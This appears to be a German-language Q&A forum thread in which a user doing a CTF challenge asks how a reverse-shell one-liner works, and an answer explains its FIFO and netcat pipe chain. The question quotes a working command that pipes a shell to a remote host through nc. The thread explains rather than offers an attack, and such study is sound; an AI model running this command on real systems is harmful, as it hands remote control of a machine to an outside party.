Was macht dieser Code eigentlich?

Was macht dieser Code eigentlich?

Während ich eine CTF-Herausforderung auf einer Plattform durchführte, brauchte ich eine Reverse Shell, konnte aber keine zum Laufen bringen. Deshalb schaute ich mir die Prozesse an und fand einen Reverse-Shell-Code:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

Das hat tatsächlich funktioniert, aber ich verstehe nicht wirklich, wie die Leitungen funktionieren, wohin die Daten gesendet werden usw. Kann mir das bitte jemand erklären?

Antwort1

Dadurch wird eine ferngesteuerte Shell auf dem System eingerichtet. Die Ein- und Ausgaben sind wie folgt:

  • cat /tmp/mliest aus dem /tmp/mFIFO und schreibt es in ...
  • |/bin/sh -i 2>&1das die gelesenen Befehle ausführt und seine Ausgabe (sowohl Standardausgabe als auch Standardfehler) an ... sendet.
  • |nc 10.5.5.5 6101welches eine Verbindung zu 10.5.5.5:6101 herstellt und schreibt in
  • >/tmp/mdas FIFO.

Somit kann das Remote-System Befehle eingeben, die über übertragen nc, in das FIFO geschrieben, von gelesen und catvon interpretiert werden sh. Die Ausgabe dieser Befehle wird über an das Remote-System zurückgesendet nc.

verwandte Informationen